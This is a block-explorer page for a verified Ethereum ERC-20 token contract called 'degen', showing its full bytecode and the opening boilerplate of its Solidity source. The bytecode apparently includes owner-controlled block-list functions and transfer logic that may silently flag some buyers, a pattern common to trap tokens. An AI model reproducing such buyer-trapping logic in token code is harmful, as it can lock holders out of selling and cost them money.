Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x0E33446bBC2CcB5558c7f8EDC037Fd797f8887F0
Balance 0 ETH
Nonce 1
Code Size 15101 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

15101 bytes
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063abb857891161006f578063abb8578914610491578063c9567bf9146104bc578063d34628cc146104d3578063d620432e146104fc578063dd62ed3e14610513578063ec1f3f631461055057610156565b8063715018a614610391578063732112e1146103a85780638da5cb5b146103d357806393f5f530146103fe57806395d89b4114610429578063a9059cbb1461045457610156565b8063313ce56711610108578063313ce5671461028157806331c2d847146102ac5780633bbac579146102d55780634d697f8b1461031257806354e116ab1461033d57806370a082311461035457610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee578063188d16441461021957806323b872dd1461024457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610579565b60405161017d91906129a6565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612a70565b61060b565b6040516101ba9190612acb565b60405180910390f35b3480156101cf57600080fd5b506101d8610629565b6040516101e59190612af5565b60405180910390f35b3480156101fa57600080fd5b5061020361062f565b6040516102109190612af5565b60405180910390f35b34801561022557600080fd5b5061022e610653565b60405161023b9190612af5565b60405180910390f35b34801561025057600080fd5b5061026b60048036038101906102669190612b10565b610659565b6040516102789190612acb565b60405180910390f35b34801561028d57600080fd5b50610296610732565b6040516102a39190612b7f565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190612ce2565b61073b565b005b3480156102e157600080fd5b506102fc60048036038101906102f79190612d2b565b61085f565b6040516103099190612acb565b60405180910390f35b34801561031e57600080fd5b506103276108b5565b6040516103349190612af5565b60405180910390f35b34801561034957600080fd5b506103526108bb565b005b34801561036057600080fd5b5061037b60048036038101906103769190612d2b565b6109eb565b6040516103889190612af5565b60405180910390f35b34801561039d57600080fd5b506103a6610a34565b005b3480156103b457600080fd5b506103bd610b87565b6040516103ca9190612af5565b60405180910390f35b3480156103df57600080fd5b506103e8610b8d565b6040516103f59190612d67565b60405180910390f35b34801561040a57600080fd5b50610413610bb6565b6040516104209190612af5565b60405180910390f35b34801561043557600080fd5b5061043e610bbc565b60405161044b91906129a6565b60405180910390f35b34801561046057600080fd5b5061047b60048036038101906104769190612a70565b610c4e565b6040516104889190612acb565b60405180910390f35b34801561049d57600080fd5b506104a6610c6c565b6040516104b39190612af5565b60405180910390f35b3480156104c857600080fd5b506104d1610c72565b005b3480156104df57600080fd5b506104fa60048036038101906104f59190612ce2565b611212565b005b34801561050857600080fd5b50610511611336565b005b34801561051f57600080fd5b5061053a60048036038101906105359190612d82565b6113d3565b6040516105479190612af5565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190612dc2565b61145a565b005b60606011805461058890612e1e565b80601f01602080910402602001604051908101604052809291908181526020018280546105b490612e1e565b80156106015780601f106105d657610100808354040283529160200191610601565b820191906000526020600020905b8154815290600101906020018083116105e457829003601f168201915b5050505050905090565b600061061f61061861155a565b8484611562565b6001905092915050565b60165481565b60006009600a61063f9190612fb1565b6305f5e10061064e9190612ffc565b905090565b60015481565b600061066684848461172b565b6107278461067261155a565b61072285604051806060016040528060288152602001613aa060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106d861155a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e59092919063ffffffff16565b611562565b600190509392505050565b60006009905090565b61074361155a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c79061308a565b60405180910390fd5b60005b815181101561085b576000600760008484815181106107f5576107f46130aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506107d3565b5050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60025481565b6108c361155a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109479061308a565b60405180910390fd5b6009600a61095e9190612fb1565b6305f5e10061096d9190612ffc565b6013819055506009600a6109819190612fb1565b6305f5e1006109909190612ffc565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109c59190612fb1565b6305f5e1006109d49190612ffc565b6040516109e19190612af5565b60405180910390a1565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a3c61155a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac09061308a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60155481565b606060128054610bcb90612e1e565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf790612e1e565b8015610c445780601f10610c1957610100808354040283529160200191610c44565b820191906000526020600020905b815481529060010190602001808311610c2757829003601f168201915b5050505050905090565b6000610c62610c5b61155a565b848461172b565b6001905092915050565b60135481565b610c7a61155a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfe9061308a565b60405180910390fd5b601860149054906101000a900460ff1615610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90613125565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dd730337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611562565b610e0f30610e0a6064610dfc605f610dee336109eb565b61244990919063ffffffff16565b6124c390919063ffffffff16565b610c4e565b50601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061315a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4e919061315a565b6040518363ffffffff1660e01b8152600401610f6b929190613187565b6020604051808303816000875af1158015610f8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fae919061315a565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061103b30601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611562565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611084306109eb565b60008061108f610b8d565b426040518863ffffffff1660e01b81526004016110b1969594939291906131f5565b60606040518083038185885af11580156110cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f4919061326b565b505050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111969291906132be565b6020604051808303816000875af11580156111b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d99190613313565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550565b61121a61155a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e9061308a565b60405180910390fd5b60005b8151811015611332576001600760008484815181106112cc576112cb6130aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112aa565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661137761155a565b73ffffffffffffffffffffffffffffffffffffffff161461139757600080fd5b60006113a2306109eb565b905060008111156113b7576113b68161250d565b5b600047905060008111156113cf576113ce81612786565b5b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61146261155a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e69061308a565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661153061155a565b73ffffffffffffffffffffffffffffffffffffffff161461155057600080fd5b80600c8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c8906133b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163790613444565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161171e9190612af5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361179a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611791906134d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180090613568565b60405180910390fd5b6000811161184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611843906135fa565b60405180910390fd5b6000611856610b8d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118c45750611894610b8d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d0257600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61197657600080fd5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a215750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a775750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611acd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d01576001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009600a611b389190612fb1565b62086470611b469190612ffc565b821115611c345760026000815480929190611b609061361a565b919050555060015460025411611c2f576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611c269190613662565b60405180910390a35b611d00565b6001546002541015611cff576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cf69190613662565b60405180910390a35b5b5b5b611d3e6064611d30600d5460105411611d1d57600954611d21565b600b545b8561244990919063ffffffff16565b6124c390919063ffffffff16565b9050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611deb5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e415750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611efc57601354821115611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e82906136c9565b60405180910390fd5b60145482611e98856109eb565b611ea291906136e9565b1115611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90613769565b60405180910390fd5b60106000815480929190611ef69061361a565b91905055505b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f8557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fc957611fc66064611fb8600e5460105411611fa557600a54611fa9565b600c545b8561244990919063ffffffff16565b6124c390919063ffffffff16565b90505b6000611fd4306109eb565b9050601860159054906101000a900460ff161580156120405750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156120585750601860169054906101000a900460ff165b8015612065575060155481115b80156120745750600f54601054115b1561212757601a5443111561208c5760006019819055505b6003601954106120d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c8906137d5565b60405180910390fd5b6120ee6120e9846120e4846016546127f2565b6127f2565b61250d565b600047905060008111156121065761210547612786565b5b601960008154809291906121199061361a565b919050555043601a81905550505b600082111561222b5761218282600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122229190612af5565b60405180910390a35b61227d83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123246122d6838561286990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280b90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6123c9858761286990919063ffffffff16565b6040516123d69190612af5565b60405180910390a35050505050565b600083831115829061242d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242491906129a6565b60405180910390fd5b506000838561243c91906137f5565b9050809150509392505050565b600080830361245b57600090506124bd565b600082846124699190612ffc565b90508284826124789190613858565b146124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af906138fb565b60405180910390fd5b809150505b92915050565b600061250583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128b3565b905092915050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561254557612544612b9f565b5b6040519080825280602002602001820160405280156125735781602001602082028036833780820191505090505b509050308160008151811061258b5761258a6130aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612632573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612656919061315a565b8160018151811061266a576126696130aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126d130601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611562565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127359594939291906139d9565b600060405180830381600087803b15801561274f57600080fd5b505af1158015612763573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156127ee573d6000803e3d6000fd5b5050565b60008183106128015781612803565b825b905092915050565b600080828461281a91906136e9565b90508381101561285f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285690613a7f565b60405180910390fd5b8091505092915050565b60006128ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123e5565b905092915050565b600080831182906128fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f191906129a6565b60405180910390fd5b50600083856129099190613858565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612950578082015181840152602081019050612935565b60008484015250505050565b6000601f19601f8301169050919050565b600061297882612916565b6129828185612921565b9350612992818560208601612932565b61299b8161295c565b840191505092915050565b600060208201905081810360008301526129c0818461296d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a07826129dc565b9050919050565b612a17816129fc565b8114612a2257600080fd5b50565b600081359050612a3481612a0e565b92915050565b6000819050919050565b612a4d81612a3a565b8114612a5857600080fd5b50565b600081359050612a6a81612a44565b92915050565b60008060408385031215612a8757612a866129d2565b5b6000612a9585828601612a25565b9250506020612aa685828601612a5b565b9150509250929050565b60008115159050919050565b612ac581612ab0565b82525050565b6000602082019050612ae06000830184612abc565b92915050565b612aef81612a3a565b82525050565b6000602082019050612b0a6000830184612ae6565b92915050565b600080600060608486031215612b2957612b286129d2565b5b6000612b3786828701612a25565b9350506020612b4886828701612a25565b9250506040612b5986828701612a5b565b9150509250925092565b600060ff82169050919050565b612b7981612b63565b82525050565b6000602082019050612b946000830184612b70565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bd78261295c565b810181811067ffffffffffffffff82111715612bf657612bf5612b9f565b5b80604052505050565b6000612c096129c8565b9050612c158282612bce565b919050565b600067ffffffffffffffff821115612c3557612c34612b9f565b5b602082029050602081019050919050565b600080fd5b6000612c5e612c5984612c1a565b612bff565b90508083825260208201905060208402830185811115612c8157612c80612c46565b5b835b81811015612caa5780612c968882612a25565b845260208401935050602081019050612c83565b5050509392505050565b600082601f830112612cc957612cc8612b9a565b5b8135612cd9848260208601612c4b565b91505092915050565b600060208284031215612cf857612cf76129d2565b5b600082013567ffffffffffffffff811115612d1657612d156129d7565b5b612d2284828501612cb4565b91505092915050565b600060208284031215612d4157612d406129d2565b5b6000612d4f84828501612a25565b91505092915050565b612d61816129fc565b82525050565b6000602082019050612d7c6000830184612d58565b92915050565b60008060408385031215612d9957612d986129d2565b5b6000612da785828601612a25565b9250506020612db885828601612a25565b9150509250929050565b600060208284031215612dd857612dd76129d2565b5b6000612de684828501612a5b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612e3657607f821691505b602082108103612e4957612e48612def565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612ed557808604811115612eb157612eb0612e4f565b5b6001851615612ec05780820291505b8081029050612ece85612e7e565b9450612e95565b94509492505050565b600082612eee5760019050612faa565b81612efc5760009050612faa565b8160018114612f125760028114612f1c57612f4b565b6001915050612faa565b60ff841115612f2e57612f2d612e4f565b5b8360020a915084821115612f4557612f44612e4f565b5b50612faa565b5060208310610133831016604e8410600b8410161715612f805782820a905083811115612f7b57612f7a612e4f565b5b612faa565b612f8d8484846001612e8b565b92509050818404811115612fa457612fa3612e4f565b5b81810290505b9392505050565b6000612fbc82612a3a565b9150612fc783612b63565b9250612ff47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ede565b905092915050565b600061300782612a3a565b915061301283612a3a565b925082820261302081612a3a565b9150828204841483151761303757613036612e4f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613074602083612921565b915061307f8261303e565b602082019050919050565b600060208201905081810360008301526130a381613067565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061310f601783612921565b915061311a826130d9565b602082019050919050565b6000602082019050818103600083015261313e81613102565b9050919050565b60008151905061315481612a0e565b92915050565b6000602082840312156131705761316f6129d2565b5b600061317e84828501613145565b91505092915050565b600060408201905061319c6000830185612d58565b6131a96020830184612d58565b9392505050565b6000819050919050565b6000819050919050565b60006131df6131da6131d5846131b0565b6131ba565b612a3a565b9050919050565b6131ef816131c4565b82525050565b600060c08201905061320a6000830189612d58565b6132176020830188612ae6565b61322460408301876131e6565b61323160608301866131e6565b61323e6080830185612d58565b61324b60a0830184612ae6565b979650505050505050565b60008151905061326581612a44565b92915050565b600080600060608486031215613284576132836129d2565b5b600061329286828701613256565b93505060206132a386828701613256565b92505060406132b486828701613256565b9150509250925092565b60006040820190506132d36000830185612d58565b6132e06020830184612ae6565b9392505050565b6132f081612ab0565b81146132fb57600080fd5b50565b60008151905061330d816132e7565b92915050565b600060208284031215613329576133286129d2565b5b6000613337848285016132fe565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061339c602483612921565b91506133a782613340565b604082019050919050565b600060208201905081810360008301526133cb8161338f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061342e602283612921565b9150613439826133d2565b604082019050919050565b6000602082019050818103600083015261345d81613421565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134c0602583612921565b91506134cb82613464565b604082019050919050565b600060208201905081810360008301526134ef816134b3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613552602383612921565b915061355d826134f6565b604082019050919050565b6000602082019050818103600083015261358181613545565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135e4602983612921565b91506135ef82613588565b604082019050919050565b60006020820190508181036000830152613613816135d7565b9050919050565b600061362582612a3a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361365757613656612e4f565b5b600182019050919050565b600060208201905061367760008301846131e6565b92915050565b7f4578636565647320746865205f374b4c4a554d50595345414c302e0000000000600082015250565b60006136b3601b83612921565b91506136be8261367d565b602082019050919050565b600060208201905081810360008301526136e2816136a6565b9050919050565b60006136f482612a3a565b91506136ff83612a3a565b925082820190508082111561371757613716612e4f565b5b92915050565b7f4578636565647320746865207833444348494c4c574f4c46312e000000000000600082015250565b6000613753601a83612921565b915061375e8261371d565b602082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000600082015250565b60006137bf601783612921565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b600061380082612a3a565b915061380b83612a3a565b925082820390508181111561382357613822612e4f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061386382612a3a565b915061386e83612a3a565b92508261387e5761387d613829565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138e5602183612921565b91506138f082613889565b604082019050919050565b60006020820190508181036000830152613914816138d8565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613950816129fc565b82525050565b60006139628383613947565b60208301905092915050565b6000602082019050919050565b60006139868261391b565b6139908185613926565b935061399b83613937565b8060005b838110156139cc5781516139b38882613956565b97506139be8361396e565b92505060018101905061399f565b5085935050505092915050565b600060a0820190506139ee6000830188612ae6565b6139fb60208301876131e6565b8181036040830152613a0d818661397b565b9050613a1c6060830185612d58565b613a296080830184612ae6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613a69601b83612921565b9150613a7482613a33565b602082019050919050565b60006020820190508181036000830152613a9881613a5c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a04482c37f2dcd55bcb5a42536977f0bec2c7efd1dbf1cfe7477b3e1881b4a264736f6c63430008170033

Verified Source Code Full Match

Compiler: v0.8.23+commit.f704f362 EVM: paris Optimization: No
degen.sol 355 lines
// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}

contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract degen is Context, IERC20, Ownable {
